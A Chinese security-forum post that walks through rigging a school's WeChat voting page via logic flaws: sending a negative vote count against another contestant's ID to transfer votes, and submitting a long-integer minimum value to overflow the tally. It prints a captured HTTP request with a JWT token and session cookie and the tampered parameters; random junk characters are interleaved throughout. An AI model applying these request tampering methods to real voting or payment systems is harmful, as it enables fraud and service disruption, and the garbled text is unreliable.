中国网络渗透测试联盟
标题:
原创逻辑漏洞测试之用两种方法在微信登陆openid验证情况下下成功刷票
[打印本页]
作者:
admin
时间:
2021-12-30 13:52
标题:
原创逻辑漏洞测试之用两种方法在微信登陆openid验证情况下下成功刷票
[md]**最近一直在学习逻辑漏洞,偶然看到我家小孩学校组织的投票活动,得知老师组织这次投票活动,我专门向老师申请做一次逻辑漏洞测试,老师说非常欢迎,老师说对我这个玩电脑的家长早有耳闻,于是便有了以下的过程。此测试过程必须1、微信登陆下投票 2、token验证jwt加密,解密发现openid等参数**
% e7 C/ K* W4 p% |# U. I
" P! y6 O$ y1 U; g$ d
+ n z1 B6 H% F2 }6 S, W: s5 x* o$ g1 T
**1** **、第一种方法突破微信登陆投票**
; h9 B) q6 [# M# J' I
P, N, \7 s( H' w
一个微信账号一天投3票之扣别人的票增加自己的余票实现刷票
6 Q% \$ s6 H% a) H
1 P3 u% X. f6 g0 s# ]
首先用微信识别老师发来的投票二维码如图:
& r' P5 \3 V; r$ F
# G! E; ^% _$ o9 `7 Q; F

3 \' K/ I% g8 t4 ^# {3 U
8 d) e7 r# z$ B' R* n6 F
使用微信号登陆,不停的放包,直到这里
' K! E3 E- U. q
5 H! y& [# v5 D. r* f

$ t/ S$ S0 C& E3 Z5 T0 B6 A
7 [1 v1 h/ H$ n/ N2 ^9 I
修改playerIdwei为别人的,因为用自己的playerid,自己的票数为变为-负数,修改num数为负数,如-9999,因为num参数可控,这时候你的票数会多出9999票,别人会少9999票,打个比方如图:
2 ]4 d; B. h5 {3 u2 I
. o( n/ d) ?% J# |" j

% T: h+ W3 p1 H5 y# s1 N/ S
/ F7 i7 a: t: Y9 C6 {/ F+ A8 N3 w, F$ j( t
+ v- j6 u/ e+ Y8 M# o8 _* z
7 I/ l& a3 `# c
这时候你就在你的账号不停歇的点投票就行,直到超过第一名,如图:
4 G8 o6 e! S. r1 ?" N+ j }
4 w9 {$ u, W7 Z/ t& E+ l4 E

; V6 P/ Y4 j, u( c1 R& P
6 W5 T! F! n/ Z$ H3 `9 a) a* T
+ g$ L \9 ~7 a, i* a% P% Z
# Y1 k4 x: v6 y h+ }
票数瞬间变为1002票,本来一个微信号一天只能投一个选手3票,这时候已经成功突破,秒变1002票。。。
% m; _- o! f: p v
5 q2 I, f$ w: u0 }- v' c6 f! w" p. r
以上是第一种方法刷票,扣别人的票,加自己的余票,然后再刷给自己。。。**
1 U2 R8 I1 ~. e
* i. }$ p9 U9 V' {& m- `/ ]& b/ @
**2** **、**** ** **第二种方法利用** **long** **长整型溢出刷票**
# u- L/ b! o. ` v
4 Z8 ?& H( S; c3 q$ B% f& @% q
同样到这个包,如下:
' Z7 M) n" \" c `+ v. W( f
3 y: T9 s; O2 s- ?1 S) g6 C
```
; q/ g, _; r; {
POST /vote/api/wx/voteFree/add HTTP/1.1
( B* D! B4 J! c/ O9 _, Z4 s& E* j
Host: 111.cn
1 H7 A* e/ a8 {. B. {: B# x
Content-Length: 73
5 n1 I. W& i3 \- @$ H# f
Accept: application/json, text/javascript, */*; q=0.01
L8 K+ J; @8 o
X-Requested-With: XMLHttpRequest
: D6 N, C! w* ~; p- u* X
User-Agent: Mozilla/5.0 (Linux; Android 10; TEL-AN00a Build/HONORTEL-AN00a; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/89.0.4389.72 MQQBrowser/6.2 TBS/045811 Mobile Safari/537.36 MMWEBID/3773 MicroMessenger/8.0.15.2020(0x28000F3D) Process/tools WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64
1 e6 h" B# v. J% m! [5 A
token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJqd3QtaWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwid3hPcGVuSWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwibmlja25hbWUiOiJkaWdleHBsb2l0IiwiZXhwIjoxNjM1MzAwNTY2fQ.0VBEVOvfDLfduF9MPto2D8Ok1Y9C90roMBMQzTn9oL0
& }4 Z4 [& l/ Z7 A% D; f
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
' W7 h! y# _; Q! C- H. d; _9 F
Origin:
http://111.cn
+ p$ l3 j2 u" Q! C* w
Referer:
http://111.cn/welcome/detail.html?activityId=37bd3ad6-38c0-437c-870a-801dc6fed2a7&playerId=139969&skin=default
% A; [5 y! {. g& z2 s
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
) s3 ?# [! W0 f6 t0 e# e
Cookie: SESSION=MWE3NDU3NWItM2MzMS00YWJmLTkxZTItNmU2MWQ0NzNhZDk5; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJqd3QtaWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwid3hPcGVuSWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwibmlja25hbWUiOiJkaWdleHBsb2l0IiwiZXhwIjoxNjM1MzAwNTY2fQ.0VBEVOvfDLfduF9MPto2D8Ok1Y9C90roMBMQzTn9oL0; appid=wx6656xxoocd3e6xxoo
) z5 ]; o4 O9 E' G4 Y
Connection: close
( F+ k/ V- e3 q% ?8 h) T; d5 L7 E! _6 Y
voteActivityId=37bd3ad6-38c0-437c-870a-801dc6fed2a7&playerId=139969&num=3
+ C( M- d, E2 r7 R; ]
0 Y3 t( h& L ?# {( I) v; g# p
```
6 r+ }( w6 l5 t1 _+ ], \ s
* ]. P7 ^( b/ _0 x! W2 q: u
修改num=3333333{},如图:
$ ]' j5 k1 f9 v" @" X- g8 T
8 g, J9 h1 ?3 V# e0 f) a- B

; `, Y$ ?; P+ w1 {; Q. j
, O* P: n. R( I, D
& Y+ E8 X- Q" |
5 f, `# F8 l9 d3 A: x/ A
判断为long长整型,既然num=-333333可控,那我们就把num=-333333改为2的63次方,也就是num=-9223372036854775808,执行完以后,提示500错误,提示超出范围。。。然后微信打开投票二维码就卡半天了,恢复之前如图:
~! t$ Y4 @+ d P" |$ z
* q% @$ [% a" n! x- A4 ?

6 Y( |4 {7 c! [
! o0 {" Z R" c: ?, C2 j
' j. H0 b+ Z- s W) @3 G9 @4 W" z
9 w3 d! V% t. O/ F! _
这是之前测试的时候不小心搞成,所以才有了第二种方法。。。。。
$ m0 L* m+ Z9 _ d
: P$ m0 |3 i1 l. j2 p# b: k$ X
也就是刷票数为负 -270多万,如上图。。。
0 r' ^1 O8 A. H% G/ u# B: Q! m( U
- F6 G# L$ g: k' Y
等溢出恢复以后票数变成15W多,排名第一,如图:
" K. M n9 z! I! d* `4 y$ c
( |6 M) k( G* ]
$ ~* |- U4 z: P; f' N

) X: L2 K3 n+ ^4 v/ O+ {
; w+ `% G2 W* D+ C5 r+ D
**注:由于测试过程没有保存录像或图片,导致溢出以后的返回包没能贴图,不过没关系,正负数都试一遍,一般参数可负数的话,直接负的最大溢出量就够了。。。**
4 o2 T; c8 S% r% J% F+ w" u" x
[/md]
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2